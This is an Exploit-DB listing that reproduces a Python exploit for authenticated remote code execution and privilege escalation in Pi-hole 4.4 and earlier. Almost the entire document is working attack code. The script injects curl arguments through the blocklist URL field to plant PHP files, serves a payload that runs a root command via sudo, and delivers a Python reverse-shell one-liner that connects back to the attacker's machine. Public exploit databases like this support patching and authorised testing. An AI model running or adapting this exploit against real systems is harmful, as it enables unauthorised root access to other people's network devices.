Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation

  • 作者: Nick Frichette
    日期: 2020-05-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48443/
  • #!/usr/bin/env python3
    
    # Pi-hole <= 4.4 RCE
    # Author: Nick Frichette
    # Homepage: https://frichetten.com
    #
    # Note: This exploit must be run with root privileges and port 80 must not be occupied.
    # While it is possible to exploit this from a non standard port, for the sake of 
    # simplicity (and not having to modify the payload) please run it with sudo privileges.
    # Or setup socat and route it through there?
    
    import requests
    import sys
    import socket
    import _thread
    import time
    
    if len(sys.argv) < 4:
    print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")
    print("\nThis script will take 5 parameters:\nSession Cookie: The authenticated session token.\nURL of Target: The target's url, example: http://192.168.1.10\nYour IP: The IP address of the listening machine.\nReverse Shell Port: The listening port for your reverse shell.")
    exit()
    
    SESSION = dict(PHPSESSID=sys.argv[1])
    TARGET_IP = sys.argv[2]
    LOCAL_IP = sys.argv[3]
    LOCAL_PORT = sys.argv[4]
    
    # Surpress https verify warnings
    # I'm asuming some instances will use self-signed certs
    requests.packages.urllib3.disable_warnings()
    
    # Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    # I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
    shell_payload = """<?php
    shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
    ?>
    """ %(LOCAL_IP, LOCAL_PORT)
    
    root_payload = """<?php
    shell_exec("sudo pihole -a -t")
    ?>
    """
    
    def send_response(thread_name):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind((LOCAL_IP,int(80)))
    sock.listen(5)
    
    connected = False
    while not connected:
    conn,addr = sock.accept()
    if thread_name == "T1":
    print("[+] Received First Callback")
    conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
    elif thread_name == "T2":
    print("[+] Received Second Callback")
    print("[+] Uploading Root Payload")
    conn.sendall(bytes(root_payload, "utf-8"))
    elif thread_name == "T3":
    print("[+] Received Third Callback")
    conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")
    else:
    print("[+] Received Fourth Callback")
    print("[+] Uploading Shell Payload")
    conn.sendall(bytes(shell_payload, "utf-8"))
    conn.close()
    connected = True
    
    sock.close()
    
    _thread.start_new_thread(send_response,("T1",))
    
    
    # Fetch token
    resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)
    response = str(resp.content)
    token_loc = response.find("name=\"token\"")
    token = response[token_loc+20:token_loc+64]
    
    
    # Make request with token
    data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
    resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
    if resp.status_code == 200:
    print("[+] Put Root Stager Success")
    
    
    # Update gravity
    resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)
    
    time.sleep(3)
    _thread.start_new_thread(send_response,("T2",))
    
    
    # Update again to trigger upload of root redirect
    resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)
    
    time.sleep(1)
    _thread.start_new_thread(send_response,("T3",))
    
    data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}
    resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)
    if resp.status_code == 200:
    print("[+] Put Shell Stager Success")
    
    resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)
    
    time.sleep(1)
    _thread.start_new_thread(send_response,("T4",))
    
    resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)
    
    
    print("[+] Triggering Exploit")
    try:
    requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)
    except:
    # We should be silent to avoid filling the cli window
    None